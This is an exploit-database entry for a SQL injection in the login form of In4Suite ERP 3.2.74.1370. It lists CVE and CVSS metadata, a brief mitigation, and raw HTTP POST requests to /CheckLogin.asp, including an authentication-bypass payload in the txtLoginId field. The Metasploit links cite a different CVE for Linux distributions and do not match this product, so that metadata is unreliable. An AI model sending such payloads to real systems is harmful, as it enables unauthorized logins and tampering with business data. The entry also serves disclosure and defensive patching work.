In4Suit ERP 3.2.74.1370 - 'txtLoginId' SQL injection

vendor:

In4Suite ERP

by:

Gulab Mondal

9.1

CVSS

CRITICAL

SQL Injection

CWE

Product Name: In4Suite ERP

Affected Version From: 3.2.74.1370

Affected Version To: 3.2.74.1370

Patch Exists: YES

Related CWE: CVE-2021-27828

CPE: a:in4velocity:in4suite_erp:3.2.74.1370

Metasploit: https://www.rapid7.com/db/vulnerabilities/centos_linux-cve-2020-27828/, https://www.rapid7.com/db/vulnerabilities/alma_linux-cve-2020-27828/, https://www.rapid7.com/db/vulnerabilities/redhat_linux-cve-2020-27828/, https://www.rapid7.com/db/vulnerabilities/oracle_linux-cve-2020-27828/

Platforms Tested: Windows

2021

In4Suit ERP 3.2.74.1370 – ‘txtLoginId’ SQL injection

SQL injection in In4Suite ERP 3.2.74.1370 allows remote attackers to modify or delete data, causing persistent changes to the application's content or behavior by using malicious SQL queries.

Mitigation:

Developers should use parameterized queries to prevent SQL injection attacks.

Source

Exploit-DB raw data:

# Exploit Title: In4Suit ERP 3.2.74.1370 - 'txtLoginId' SQL injection
# Date: 18/05/2021
# Exploit Author: Gulab Mondal
# Vendor Homepage: https://www.in4velocity.com/in4suite-erp.html
# Version: In4Suite ERP 3.2.74.1370
# Tested on: Windows
# CVE: CVE-2021-27828

-----------------------------------------

SQL injection in In4Suite ERP 3.2.74.1370 allows remote attackers to
modify or delete data, causing persistent changes to the application's
content or behavior by using malicious SQL queries.

--------------


# Error condition
POST /CheckLogin.asp HTTP/1.1
Host: 127.0.0.1

txtLoginId=admin&txtpassword=test&cmbLogin=Login&hdnPwdEncrypt=" "

# SQL Injection exploitation
POST /CheckLogin.asp HTTP/1.1
Host: 127.0.0.1

txtLoginId=admin OR '1=1&txtpassword=test&cmbLogin=Login&hdnPwdEncrypt="

------------------------------